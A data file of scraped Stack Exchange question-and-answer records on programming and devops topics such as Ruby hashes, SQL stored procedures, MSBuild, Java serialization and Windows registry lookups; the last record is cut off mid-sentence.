{"id": "hf_9a1c014c2858", "question": "<p>Creating hashes of hashes in Ruby allows for convenient two (or more) dimensional lookups.  However, when inserting one must always check if the first index already exists in the hash. For example:</p>\n\n<pre><code>h = Hash.new\nh['x'] = Hash.new if not h.key?('x')\nh['x']['y'] = value_to_insert\n</code></pre>\n\n<p>It would be preferable to do the following where the new Hash is created automatically:</p>\n\n<pre><code>h = Hash.new\nh['x']['y'] = value_to_insert\n</code></pre>\n\n<p>Similarly, when looking up a value where the first index doesn't already exist, it would be preferable if nil is returned rather than receiving an undefined method for '[]' error.  </p>\n\n<pre><code>looked_up_value = h['w']['z']\n</code></pre>\n\n<p>One could create a Hash wrapper class that has this behavior, but is there an existing a Ruby idiom for accomplishing this task?</p>\n", "question_body": "", "answer": "You can pass the\n```\nHash.new\n```\nfunction a block that is executed to yield a default value in case the queried value doesn't exist yet:\n```\n```\nh = Hash.new { |h, k| h[k] = Hash.new }\n```\n```\nOf course, this can be done recursively. There's\nan article explaining the details\n.\nFor the sake of completeness, here's the solution from the article for arbitrary depth hashes:\n```\n```\nhash = Hash.new(&(p = lambda{|h, k| h[k] = Hash.new(&p)}))\n```\n```\nThe person to originally come up with this solution is\nKent Sibilev\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.429228"}
{"id": "hf_9d48713e39aa", "question": "<p>I am trying to set myself up on a mac to learn Ruby on Rails, however I seem to be having some problems. If I try to run commands such as ./script/server, i get this: </p>\n\n<blockquote>\n  <p>Rails requires RubyGems >= 0.9.4 (you have 0.9.2). Please <code>gem update --system</code> and try again.</p>\n</blockquote>\n\n<p>When I run \"gem update..\" I get this:</p>\n\n<blockquote>\n  <p>Updating RubyGems...\n  Attempting remote update of rubygems-update\n  ERROR:  While executing gem ... (Errno::EACCES)\n      Permission denied - /opt/local/lib/ruby/gems/1.8/cache/rubygems-update-1.3.0.gem</p>\n</blockquote>\n", "question_body": "", "answer": "got it.\nsudo gem update --system", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.452797"}
{"id": "hf_5822b65bb601", "question": "<p>Is there a mode, some switch or a programmatic way that I can ask MSBuild to display or output it's calculated dependencies for a given build file?</p>\n\n<p><strong>Some background</strong> - \nI have a large project that requires splitting up to speed up the build time and want to remove the slow changing infrastructure code into it's own release area.  Not all of the information is contained in the build file itself, as some sub-projects are referenced by their vcproj or csproj files.</p>\n\n<p>I'd really like to see what MSBuild thinks needs doing (either worse-case [rebuild all] and perhaps for a make) without actually doing the rebuild.</p>\n", "question_body": "", "answer": "The\nMSBuild Profiler\nproject should be able to help you in seeing where time is being taken on the build.  It doesn't directly show dependencies.  With or without build dependencies, just profiling the builds can probably give some insight and help speed up the process.\nI did just come across this application, but I have not used it myself yet,\nDependency Visualizer\nthat looks to have just added MSBuild-compatible project files.  There have also been posts about doing this previously, but no code (see\nA\n,\nB\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.536133"}
{"id": "hf_54ea5cb8a31f", "question": "<p>I would like to execute a stored procedure within a stored procedure, e.g. </p>\n\n<pre><code>EXEC SP1\n\nBEGIN\n\nEXEC SP2\nEND\n</code></pre>\n\n<p>But I only want <code>SP1</code> to finish after <code>SP2</code> has finished running so I need to find a way for <code>SP1</code> to wait for <code>SP2</code> to finish before <code>SP1</code> ends.</p>\n\n<p><code>SP2</code> is being executed as part of <code>SP1</code> so I have something like:</p>\n\n<pre><code>CREATE PROCEDURE SP1\nAS\nBEGIN\n\nEXECUTE SP2\n\nEND\n</code></pre>\n", "question_body": "", "answer": "Thats how it works stored procedures run in order, you don't need begin just something like\n```\n```\nexec dbo.sp1\nexec dbo.sp2\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.559580"}
{"id": "hf_08dbf28e6e95", "question": "<p>I seem to only be able to write to the Apache error log via stderr.  Anyone know of a more structured logging architecture that I could use from my python web project, like commons?</p>\n", "question_body": "", "answer": "I've used the builtin\nPython logging module\nin (non-web) projects in the past, with success - it should work in a web-hosted environment as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.606652"}
{"id": "hf_a697e7844c66", "question": "<p>I'm working on a java web-application, trying to be xml-friendly and writing my jsp files using the jspx/xml syntax. It took me hours of dissecting examples and configuration files to find out that with tomcat 5.5 files using the new syntax should end in .jspx, or tomcat won't translate tag libraries and stuff.</p>\n\n<p>Both file extensions map to the same servlet in tomcat's configuration file, so I thought everything was fine with my .jsp files. Am I missing something?</p>\n", "question_body": "", "answer": "There are additional configurations for servlets that can affect behavior.  I haven't tried it, but would assume that you could just override some of the default configurations  for *.jsp to use that of *.jspx.\nTry adding a\njsp-property-group\ndefinition for\n*.jsp\nwith\nis-xml\nset to true:\n```\n```\n<jsp-property-group>\n  <url-pattern>*.jsp</url-pattern>\n  <is-xml>true</is-xml>\n</jsp-property-group>\n```\n```\nSome information on configuring property group\ns.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.642794"}
{"id": "hf_3c2aae918197", "question": "<p>On a question of just performance, how does Python 3 compare to Python 2.x?</p>\n", "question_body": "", "answer": "I'd say any difference will be below trivial. For example, looping over a list will be the exact same.\nThe idea behind Python 3 is to clean up the language syntax itself - remove ambigious stuff like\n```\nexcept Exception1, Exception2\n```\n, cleanup the standard modules (no urllib, urllib2, httplib etc).\nThere really isn't much you can do to improve it's performance, although I imagine stuff like the garbage collection and memory management code  will have had some tweaks, but it's not going to be a \"wow, my database statistic generation code completes in half the time!\" improvement - that's something you get by improving the code, rather than the language!\nReally, performance of the language is irrelevant - all interpreted languages basically function at the same speed.\nWhy I find Python \"faster\" is all the built-in moudles, and the nice-to-write syntax - something that\nhas\nbeen improved in Python3, so I guess in those terms, yes, python3's performance is better then python2.x..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.720874"}
{"id": "hf_a188ef0753ee", "question": "<p>I have found that SP2 doesn't execute from within SP1 when SP1 is executed.</p>\n\n<p>Below is the structure of SP1:</p>\n\n<pre><code>ALTER PROCEDURE SP1 AS BEGIN\n\nDeclare c1 cursor....\n\nopen c1 fetch next from c1 ...\n\nwhile @@fetch_status = 0 Begin\n\n...\n\nFetch Next from c1 end\n\nclose c1\n\ndeallocate c1\n\nexec sp2\n\nend\n</code></pre>\n\n<hr>\n\n<p>I see non of the PRINT statement outputs if they are printed in the 'Output window' in SQL Server 2005 management studio as the 'Output Window'is empty.</p>\n", "question_body": "", "answer": "What happens if you run the Stored Procedure code as a single query? If you put a\n```\nPRINT\n```\nstatement before and after the exec, do you see both outputs?\nIf you do, then the stored procedure must have been executed. Probably it's not doing what you would like.\nIf you don't see any print output, then there's something wrong in the cycle\nIf you don't see the second output but you see the first, there's something wrong in the second Stored Procedure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.745060"}
{"id": "hf_67d28b977c2a", "question": "<p>Which search engine would you recommend for a Commerce website?</p>\n\n<p>We have millions of products in a catalog and we want it to be as quick as possible.</p>\n\n<p>We would also want to make sure that the marketing driven through the search engine will be fast and effective.</p>\n\n<p>What are your opinions?</p>\n", "question_body": "", "answer": "This is only half the answer to your question. I've used it with Java and not .NET. Fast is said to be the better search engine. I don't know. However for Commerce Endeca is considered to be the best. I've used it with a catalog of 5Mil. products and queries are very very fast.\nIf you use .NET or Java does not matter in the end solution the Search Engine stays the same. \nAnd what search engine to be used is not answered easily. it all depends on what you want/can spend. My experiences with Endeca are very positive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.769040"}
{"id": "hf_e60d425d4260", "question": "<p>PHP has a number of opcode caches, which as i understand it are scripts that handle the caching aspects of an application. Is there something similar for classic asp, especially something that does not require component installation?</p>\n\n<p>Regarding the IIS caching behaviour, it seems from reading <a href=\"http://lb1.www.ms.akadns.net/technet/prodtechnol/WindowsServer2003/Library/IIS/a9171159-c801-4705-b8a9-9eecf58a892f.mspx?mfr=true\" rel=\"nofollow noreferrer\">here</a> that the behaviour is relevant to some sort of pre-compilation step rather than finished pages. please correct me if i am wrong</p>\n", "question_body": "", "answer": "Looking at your comments to the answers here so far and at your edit of your question you seem a little confused over caching.\nThere are two types of caching we could be be talking about.\nOpcode or Template caching\nOutput caching\nOpcode or Template caching\nis the caching that takes place when a raw script file which is merely a text file is transformed to an in memory set of opcodes that can be executed by the script engine.  PHP has some additional tools which allow such a set of opcodes be reused when the script file is requested subsequently.  Similarly ASP keeps a cache of 'compilied' opcodes in memory and on disk so that it can serve subsequent requests for the same script without going through the whole parsing process again.\nOutput caching\nis where the generated output of script that is sent to a response buffer is cached so that subsequent requests for an identical URL (and possible matching other headers as well) would not re-run the script at all but resend the previously cached output.\nASP has no facility for output caching whereas ASP.NET does.  I'm not familiar enough with PHP or its normal platforms to comment on whether such a facility is available for it.\nYou can configure ASPs 'opcode' caching (which it calls template caching) in IIS manager (IIS6) open the properties window on the Web Sites node go to home directory tab and click Configuration... then select the cache options tab. By default 500 'compilied' pages will be cached in memory and 2000 will be cached on disk.\nIn a comment to my original version of this answer you seem to asking whether PHP hosted by IIS would also benefit from template caching.  That would depend how PHP is added to the platform.\nI hardly know anything about PHP but I would imagine it is simply another dll which IIS script mapping maps files with the extension PHP to.  That being that case it won't be benefiting from ASPs template caching.\nThe following is probably fiction but just to try to round out the picture:-\nAnother unlikely possiblity would be if PHP were some how added as ASP Script language.  In this case files with PHP extension would be mapped to the ASP.DLL and the files would either contain <%@ language=\"PHP\" or the default language in the application configuration would be set to PHP.  In this unlikely set up ASP would build a template that would be cached, however whether that template contains 'compilied' opcode etc would be up to PHP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.828919"}
{"id": "hf_46dff47b680d", "question": "<p>I want to experiment with GCC whole program optimizations. To do so I have to pass all C-files at once to the compiler frontend. However, I use makefiles to automate my build process, and I'm not an expert when it comes to makefile magic.</p>\n\n<p>How should I modify the makefile if I want to compile (maybe even link) using just one call to GCC?</p>\n\n<p>For reference - my makefile looks like this:</p>\n\n<pre><code>LIBS  = -lkernel32 -luser32 -lgdi32 -lopengl32\nCFLAGS = -Wall\n\nOBJ = 64bitmath.o    \\\n      monotone.o     \\\n      node_sort.o    \\\n      planesweep.o   \\\n      triangulate.o  \\\n      prim_combine.o \\\n      welding.o      \\\n      test.o         \\\n      main.o\n\n%.o : %.c\n    gcc -c $(CFLAGS) $&lt; -o $@\n\ntest: $(OBJ)\n    gcc -o $@ $^ $(CFLAGS) $(LIBS)\n</code></pre>\n", "question_body": "", "answer": "```\n```\nLIBS  = -lkernel32 -luser32 -lgdi32 -lopengl32\nCFLAGS = -Wall\n\n# Should be equivalent to your list of C files, if you don't build selectively\nSRC=$(wildcard *.c)\n\ntest: $(SRC)\n    gcc -o $@ $^ $(CFLAGS) $(LIBS)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.865091"}
{"id": "hf_c2cd89e819c3", "question": "<p>What's the best way to create a non-NULL constraint in MySQL such that fieldA and fieldB can't both be NULL. I don't care if either one is NULL by itself, just as long as the other field has a non-NULL value. And if they both have non-NULL values, then it's even better.</p>\n", "question_body": "", "answer": "I've done something similar in SQL Server, I'm not sure if it will work directly in MySQL, but:\n```\n```\nALTER TABLE tableName ADD CONSTRAINT constraintName CHECK ( (fieldA IS NOT NULL) OR (fieldB IS NOT NULL) );\n```\n```\nAt least I believe that's the syntax.\nHowever, keep in mind that you cannot create check constraints across tables, you can only check the columns within one table.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.914152"}
{"id": "hf_2942658cb648", "question": "<p>I want to save the objects I generated in a program. After restart the App should load automaticly all Objects in an Array. I want to write them in a file and parse them after restart. Are the other smarter possibilities than do it by hand?\nThank you</p>\n", "question_body": "", "answer": "Yes, the concept you are looking for is called serialization. There's a fine tutorial at Sun\nhere\n.\nThe idea is that classes you want to persist have to implement the Serializable interface. After that you use java.io.ObjectOutputStream.writeObject() to write the object to a file and java.io.ObjectInputStream.readObject() to read it back.\nYou can't serialize everything, as there are things that don't make sense to serialize, but you can work around them. Here's a quote about that:\nThe basic mechanism of Java\n  serialization is simple to use, but\n  there are some more things to know. As\n  mentioned before, only objects marked\n  Serializable can be persisted. The\n  java.lang.Object class does not\n  implement that interface. Therefore,\n  not all the objects in Java can be\n  persisted automatically. The good news\n  is that most of them -- like AWT and\n  Swing GUI components, strings, and\n  arrays -- are serializable.\nOn the other hand, certain\n  system-level classes such as Thread,\n  OutputStream and its subclasses, and\n  Socket are not serializable. Indeed,\n  it would not make any sense if they\n  were. For example, thread running in\n  my JVM would be using my system's\n  memory. Persisting it and trying to\n  run it in your JVM would make no sense\n  at all. Another important point about\n  java.lang.Object not implementing the\n  Serializable interface is that any\n  class you create that extends only\n  Object (and no other serializable\n  classes) is not serializable unless\n  you implement the interface yourself\n  (as done with the previous example).\nThat situation presents a problem:\n  what if we have a class that contains\n  an instance of Thread? In that case,\n  can we ever persist objects of that\n  type? The answer is yes, as long as we\n  tell the serialization mechanism our\n  intentions by marking our class's\n  Thread object as transient.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.962230"}
{"id": "hf_411b6707307e", "question": "<p>This is related to the accepted answer for <a href=\"https://stackoverflow.com/questions/168486/whats-your-1-way-to-be-careful-with-a-live-database\">What’s your #1 way to be careful with a live database</a>?</p>\n\n<p>Suppose you create a temp table for backup purpose and make your changes in the original. The changes break the system and you want to restore the backup. In the meantime some other records have also changed in the original table (it is a live db). Now if you restore the backup, the system will be in an inconsistent state. </p>\n\n<p>Whats the best way to tackle this</p>\n", "question_body": "", "answer": "I don't think that's desirable, I'd test harder before putting the table in production, but supposing it happened anyway, you'd have two options:\n1.- Create an ON INSERT trigger which updates the temporary backup table with the rows inserted into the new table, massaging the data to fit into the old table\nor\n2.- Find the difference in the data like this\n```\n```\nSELECT * FROM faultyTable \nEXCEPT \nSELECT * FROM backupTable\n```\n```\nYou'd have to adjust the columns to be selected to the common subset of course. And EXCEPT is called MINUS sometimes too.\nAfter that you can insert the difference into the backed up table and restore the combination. This gets harder and harder the more relationships the table has... depending on the way used to restore the table you might drop the related data, thus you'd have to select it too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.984393"}
{"id": "hf_a88d41aedab0", "question": "<p>Does anyone have an idea how long it will take before \"almost all\" widely used Python libraries work with Python 3.0?</p>\n\n<p>I am planning to stay on 2.X for a while because I don't want to start porting stuff over and then find that some library I already rely on or a new library I might start using doesn't work yet with py3k.</p>\n\n<p>My understanding is that the py3k beta process was drawn out specifically to give library developers time to move their stuff over. Has this been happening?</p>\n\n<p>Examples of the sorts of libraries I am talking about would be PIL, numpy/ scipy, SQLAlchemy, BeautifulSoup, CherryPy...</p>\n", "question_body": "", "answer": "The examples you have listed will probably be ported very quickly, as they are so widely used.\nI would be surprised if BeautifulSoup takes more than a month (In fact, I'm surprised it hasn't been ported already using the py3k betas), more complex things like numpy may take a big longer, especially because 2to3 only works on python sources, not C modules..\nIt's hard to generalise - some modules may never be ported, some may take days, others may take years. It could end up being a situation along the lines of \"well I'm not porting my library to Python3, no one is using it!\"/\"Well I'm not porting my project to python3, no libraries have been updated yet!\", but I hope not!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.007588"}
{"id": "hf_fbd1c760c6e6", "question": "<p>On some Microsoft Access queries, I get the following message:  Operation must use an updatable query. (Error 3073).  I work around it by using temporary tables, but I'm wondering if there's a better way.  All the tables involved have a primary key. Here's the code:</p>\n\n<pre><code>UPDATE CLOG SET CLOG.NEXTDUE = (\n    SELECT H1.paidthru \n    FROM CTRHIST as H1\n    WHERE H1.ACCT = clog.ACCT AND\n    H1.SEQNO = (\n        SELECT MAX(SEQNO) \n        FROM CTRHIST \n        WHERE CTRHIST.ACCT = Clog.ACCT AND \n        CTRHIST.AMTPAID &gt; 0 AND\n        CTRHIST.DATEPAID &lt; CLOG.UPDATED_ON\n    )\n)\nWHERE CLOG.NEXTDUE IS NULL;\n</code></pre>\n", "question_body": "", "answer": "Since Jet 4, all queries that have a join to a SQL statement that summarizes data will be non-updatable. You aren't using a JOIN, but the WHERE clause is exactly equivalent to a join, and thus, the Jet query optimizer treats it the same way it treats a join.\nI'm afraid you're out of luck without a temp table, though maybe somebody with greater Jet SQL knowledge than I can come up with a workaround.\nBTW, it might have been updatable in Jet 3.5 (Access 97), as a whole lot of queries were updatable then that became non-updatable when upgraded to Jet 4.\n--", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.034581"}
{"id": "hf_3f6fb51d998c", "question": "<p>I have read on Stack Overflow some people that have converting to C#2.0 to C#3, but is it really worth it?</p>\n<p><strike>I have a project that is done at 75% before going in maintenance phase. I am asking to myself if it is worth it to switch to C#3.0?</strike></p>\n<h3>Update:</h3>\n<p>The project will have a web interface now so before entering the maintenance phase we have to develop the web part (all was done for internal purposes with Windows Forms). Most parts will be resused (back-end). Most people have said that it wasn't worth it in the past because it was already at 75%... but now do you still think it's not worth it?</p>\n<h3>What have been done finally</h3>\n<p>Finally since we are continuing the project with the web interface we will update to 3.5 for the new year. Thank you everybody for all your input.</p>\n", "question_body": "", "answer": "Is there any C# 3.5 feature you want badly at this stage? :)\nIf it is LINQ, you can give\nLINQBridge\na try..\nWith Studio's multi-targeting and LINQBridge, you'll be able to write local (LINQ to Objects) queries using the full power of the C# 3.0 compiler—and yet your programs will require only Framework 2.0.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.058693"}
{"id": "hf_ee769099a6de", "question": "<p>I have a somewhat messily-formatted Objective-C code base. Is there a way to have Xcode reformat an entire project to conform to a coding standard (i.e., properly indent, spaces v. tabs, etc.)? Are there other tools that might accomplish this?</p>\n", "question_body": "", "answer": "According to this\nblog post\n,\nbcpp\nworks with Objective-C.\nIn addition, the tool indent might help you. It's aimed at plain C but has a gazillion options that could help. I don't know if it comes by default on OS X though.\n```\n```\nNAME\n       indent - changes the appearance of a C program by inserting or deleting\n       whitespace.\n\nSYNOPSIS\n       indent [options] [input-files]\n\n       indent [options] [single-input-file] [-o output-file]\n\n       indent --version\n\nDESCRIPTION\n       This man page is generated from the file indent.texinfo.  This is  Ediâ\n       tion  of \"The indent Manual\", for Indent Version , last updated .\n\n       The  indent  program  can  be used to make code easier to read.  It can\n       also convert from one style of writing C to another.\n\n       indent understands a substantial amount about the syntax of C,  but  it\n       also attempts to cope with incomplete and misformed syntax.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.111285"}
{"id": "hf_f01a0e2e77df", "question": "<p>I am trying to compile my apps (which uses 3rd party libraries) for the x64 platform. However selecting x64 from Build Configuration Manager from my VS2008 Pro doesn't seem to work. The binary does get created but my client wasn't able to get it to run on x64. </p>\n\n<p>I wonder if the 3rd party DLLs could be the cause. Anyone has any idea on this?</p>\n", "question_body": "", "answer": "Do you have x64 versions of the third party libraries?  If not you are out of luck.  A process must either be fully x86 or x64, you can't mix and match libraries.  If the libraries are DLLs then you still need the export libraries from an x64 build.\nIn what way does selecting the x64 configuration in VS not work?\nUpdated:\nIf your app is .NET and architecture neutral, then it will be loaded as 64 bit on 64 bit OS'es.  However, if it relies on 32 bit DLLs then this will fail at run time. You can force your exe to always load 32 bit using the\ncorflags\nutility.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.164143"}
{"id": "hf_b51a59f0e8a9", "question": "<p>This might sound like a little bit of a crazy question, but how can I find out (hopefully via an API/registry key) the install time and date of Windows?</p>\n\n<p>The best I can come up with so far is to look at various files in C:\\Windows and try to guess... but that's not exactly a nice solution.</p>\n", "question_body": "", "answer": "In\n```\nregedit.exe\n```\ngo to:\n```\n```\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\InstallDate\n```\n```\nIt's given as the number of seconds since January 1, 1970. (Note: for Windows 10, this date will be when the last feature update was installed, not the original install date.)\nTo convert that number into a readable date/time just paste the decimal value in the field \"UNIX TimeStamp:\" of this\nUnix Time Conversion online tool\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.204383"}
{"id": "hf_a92ff1ebc7a9", "question": "<p>Does anyone know how to resize images proportionally using JavaScript?</p>\n\n<p>I have tried to modify the DOM by adding attributes <code>height</code> and <code>width</code> on the fly, but seems did not work on IE6.</p>\n", "question_body": "", "answer": "Instead of modifying the height and width attributes of the image, try modifying the CSS height and width.\n```\n```\nmyimg = document.getElementById('myimg');\nmyimg.style.height = \"50px\";\nmyimg.style.width = \"50px\";\n```\n```\nOne common \"gotcha\" is that the height and width styles are strings that include a unit, like \"px\" in the example above.\nEdit - I think that setting the height and width directly instead of using style.height and style.width should work. It would also have the advantage of already having the original dimensions. Can you post a bit of your code? Are you sure you're in standards mode instead of quirks mode?\nThis should work:\n```\n```\nmyimg = document.getElementById('myimg');\nmyimg.height = myimg.height * 2;\nmyimg.width = myimg.width * 2;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.243856"}
{"id": "hf_33504b72b2e4", "question": "<p>I am developing a collection of plugins on Eclipse 3.4 (official) on both mac and a PC.</p>\n\n<p>At present (I'm aware it is not the best practice) some of my common plugins export all of their packages. </p>\n\n<p>The problem is this: many of the listed packages are empty because subpackages are not,\nfor example: prefix.core may be empty while prefix.core.model may not be.</p>\n\n<p>Even though I use the same manifest file, having the empty packages listed on one platform raises an error in the manifest file on the other platform. If I omit the packages in that platform, then when I come to the other platform I'm told that the plugin does not export everything.</p>\n\n<p>Any idea what is going on? I have no idea why there would be differences between the PC and the Mac on a non-UI related issue. The only significant difference is that the mac is running Java 5 (still not Eclipse for Java 6) while the PC is running Java 6, but the manifests should have nothing to do with it. </p>\n", "question_body": "", "answer": "It's usually a good practice to use the same version of the JVM if you're developing plugins across multiple machines and platforms.\nIf you are going to build the plugins on a PC and expect them to run on the Mac, you should standardize on Java 5. You can easily install and add additional JREs to Eclipse by going to Window->Preferences->Installed JREs. You can even configure which JRE each project and launch configuration uses, if you don't want the rest of your PC Java coding to use 5.\nI wouldn't be surprised if this fixes your manifest problem, as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.267300"}
{"id": "hf_542545d4ef96", "question": "<p>That's the question. Give only one reason you think why have OODB failed or why many systems nowadays still use relational databases.</p>\n", "question_body": "", "answer": "The main reason is SQL. It is very useful to be able to use the data from a database in other contexts outside of the application, and often with object databases the data is stored in a format that can't easily be queried.  With a relational database the data can become part of a data warehouse, for instance, or just queried by sys admins etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.291018"}
{"id": "hf_68460f846c47", "question": "<p>I've been trying to consider how Row Level Security could be implemented with the Entity Framework.  The idea is to have a database agnostic means that would offer methods to restrict the rows coming from the ObjectContext.</p>\n\n<p>Some of my inital ideas have involved modifying the partial classes created by the EDMGEN tool and that has offered some limited support.  Users are still able to get around this solution by using their own eSQL statements and a QueryObject.  </p>\n\n<p>I've been looking for a comprehensive solution that would exist above the database providers so that it would remain agnostic.</p>\n", "question_body": "", "answer": "The place where you add security really depends on who you're trying to secure against.\nIf, for example, you were securing a web site, then adding the filtering at the context level would be sufficient, because the \"users\" in this case are on the web site. They have no choice but to go through your context, since you would write the application entirely against the context.\nIn your case, it sounds like the \"users\" you're trying to secure against are developers. That's quite a bit more difficult. If the developers don't have access to make modifications to the database itself, then you'll have to put the security at the database level. No amount of eSQL access is going to be able to get around the database saying \"no\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.365333"}
{"id": "hf_7a6908e1927f", "question": "<p>With Merb 1.0 rapidly approaching, I would like to know what Merb/Rails users recommend?</p>\n\n<p>Is it time to try Merb? What was downside for you when you switched to Merb from Rails?</p>\n", "question_body": "", "answer": "Everyone, including many from the Merb Core team have been recommended to wait for 1.0.  But if you're at all curious, grab the latest Gem and start toying.  Just don't expect to put it into production and hold off on any production work till 1.0 is out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.425309"}
{"id": "hf_781fe16b0809", "question": "<p>We are building a website which will display news headlines and news. It will be a public site initially, but will evolve include portal content like personalized web pages. </p>\n\n<p>The site also needs to build web 2.0 features around the news stories being displayed, and needs to be extensible and highly customizable, allowing the business to change templates in which the stories are defined and use different templates based on business logic etc..</p>\n\n<p>The core business logic is being built using Windows work flow and Windows communication foundation, we are now looking for a suitable UI stack, is WCSF a good choice?</p>\n", "question_body": "", "answer": "WCSF might be a good choice, but probably for reasons that have nothing to do with the possible feature needs you've listed.\nThe best things in my opinion that WCSF has going for it is that it's built on the Model-View-Presenter-[Controller] pattern which gives you the separation of concerns between the view and presenter (just like MVC)... BUT at the same time it's not a total paradigm shift from the \"Page Control\" model that many .net'ers are used to.  This means you can still use a lot of third party controls like Telerik or Infragistics pretty much like you did before (much more challenging with MVC).\nBecause the MVP pattern uses a dependency injection container (ObjectBuilder) and inversion of control you get a pretty nice way to write unit tests without a web context (easy to mock objects).  Also the container supports service location, so you can easily write WCSF services that will be shared (and WCF and or the WSSF fit in nicely here).\nIt's highly modularized from a programatic standpoint and has many extensibility points.\nAll that being said... it kind of sounds like you're looking for more of a 